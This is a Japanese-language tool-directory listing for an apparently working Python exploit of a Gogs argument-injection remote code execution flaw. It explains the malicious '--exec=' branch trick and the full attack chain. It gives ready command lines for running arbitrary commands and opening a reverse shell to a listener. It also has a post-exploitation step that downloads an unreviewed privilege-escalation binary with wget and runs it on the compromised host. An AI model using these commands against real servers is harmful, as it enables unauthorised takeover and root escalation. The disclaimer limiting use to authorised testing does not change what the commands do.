Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-52806 — Gogs の git rebase における引数インジェクションによる RCE (CWE-88) — Python PoC。CVE-2026-52806 | Kitploit
ツール/GitHubGitHub/portbuster1337/cve-2026-52806
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトCTFペネトレーションテストコマンド&コントロール学習と教育ペイロード開発
GitHubportbuster1337/cve-2026-52806

CVE-2026-52806

611ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Gogs の git rebase における引数インジェクションによる RCE (CWE-88) — Python PoC。CVE-2026-52806

リポジトリを見るウェブサイト

Gogs RCE — git rebase における引数インジェクション (CWE-88)

プルリクエストのマージフローにおける引数インジェクションを介した、Gogs (<= 0.14.2 および 0.15.0+dev) に対する認証済みリモートコード実行。

CVE-2026-52806

脆弱性

internal/database/pull.go の Merge() 関数は、PR のベースブランチ名を -- セパレータなしで git rebase に渡します。--exec=<COMMAND> という名前のブランチは、位置引数ではなく Git によって --exec フラグとして解析され、リベース中に再生された各コミットの後に sh -c <COMMAND> が実行されます。

エクスプロイトの仕組み

  1. 事前確認 (Pre-flight) — ターゲットが Gogs を実行しているか判定し、静的アセットの ?v= パラメータでバージョンを特定し、ユーザー登録がオープンか、CAPTCHA 保護付きか、無効かを確認します。
  2. 認証 — 認証情報が提供されていない場合、自動登録 (CAPTCHA なし) を試みるか、CAPTCHA が有効な場合は、ターゲットのサインアップページでアカウントを作成し、-u <username> -pw <password> を指定して再実行するようユーザーに伝えるメッセージを出力します。Basic 認証または Web 設定ページを介して API トークンを作成します。
  3. リポジトリのセットアップ — Gogs API を介して一時的なプライベートリポジトリを作成し、設定で Rebase before merging を有効にします。
  4. Git ブランチの操作 — ローカルで git リポジトリを初期化し、以下をプッシュします:
    • README を含む master ブランチ
    • 分岐したコミットを含む feature-* ブランチ
    • 攻撃者のコマンドをバックグラウンドで実行するスクリプトを含む、--exec=sh${IFS}.payload という名前の悪意のあるブランチ
  5. プルリクエスト — feature ブランチから悪意のある --exec= ブランチへの PR を開きます。
  6. トリガー — merge_style=rebase_before_merging を指定してマージエンドポイントに POST します。Gogs は内部で git rebase --exec=sh${IFS}.payload を実行し、再生された各コミットの後にペイロードを実行します。
  7. クリーンアップ — 一時リポジトリとローカルの一時ファイルを削除します。

要件

  • Python 3.6+
  • requests (pip install requests)
  • ローカルの git インストール

使用方法

root@kitploit:~
python3 gogs.py <target> [options]

事前確認

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

結果:

  • Registration: ENABLED (no captcha) — 自動登録が可能
  • Registration: ENABLED (CAPTCHA DETECTED) — ターゲットのサインアップページで手動でアカウントを作成し、-u / -pw で認証情報を指定する
  • Registration: DISABLED — 管理者から既存の認証情報を入手する必要がある

エクスプロイトを実行

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

オプション

エクスプロイト後

ターゲット上でシェルを取得したら、Gogs プロセスは通常、低権限ユーザー (例: Docker 内の git) として実行されます。root への権限昇格を試みるには、プロジェクトのリリースページから lpe-toolkit バイナリをダウンロードして実行します:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

このツールキットは、カーネルエクスプロイト、設定ミス、その他の一般的な権限昇格ベクトルを列挙します。

リファレンス

  • Rapid7 ブログ記事 — Authenticated RCE via Argument Injection in Gogs (unfixed)
  • Metasploit モジュール — Jonah Burgess (CryptoCat) による Rapid7 の exploit/multi/http/gogs_rebase_rce (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

この Python PoC は、公開された Metasploit モジュールに触発されたものです。この脆弱性は、Rapid7 の Jonah Burgess (CryptoCat) によって発見され、責任を持って開示されました。

免責事項

このツールは教育目的および認可されたセキュリティテスト専用に提供されています。所有していない、またはテストする明示的な許可を得ていないシステムに対する不正使用は違法です。作者は、本ソフトウェアによって引き起こされた誤用または損害について一切の責任を負いません。

注意

Gogs API はトークンの削除をサポートしていないため、エクスプロイト中に作成された API アクセストークンは残り続け、ターゲットインスタンスの /user/settings/applications で手動で削除する必要があります。

ツールをダウンロード
Flag説明
targetホスト[:ポート] (例: 47.109.58.140:9000)
-p, --portHTTP ポート (デフォルト: 3000)
-u, --usernameGogs ユーザー名
-pw, --passwordGogs パスワード
--cookieセッション Cookie 文字列
--cmdターゲット上で実行するコマンド
--listenerリバースシェル host:port
--lhost / --lportリバースシェルのホストとポート
--sslHTTPS を使用
--preflight-only事前確認のみ実行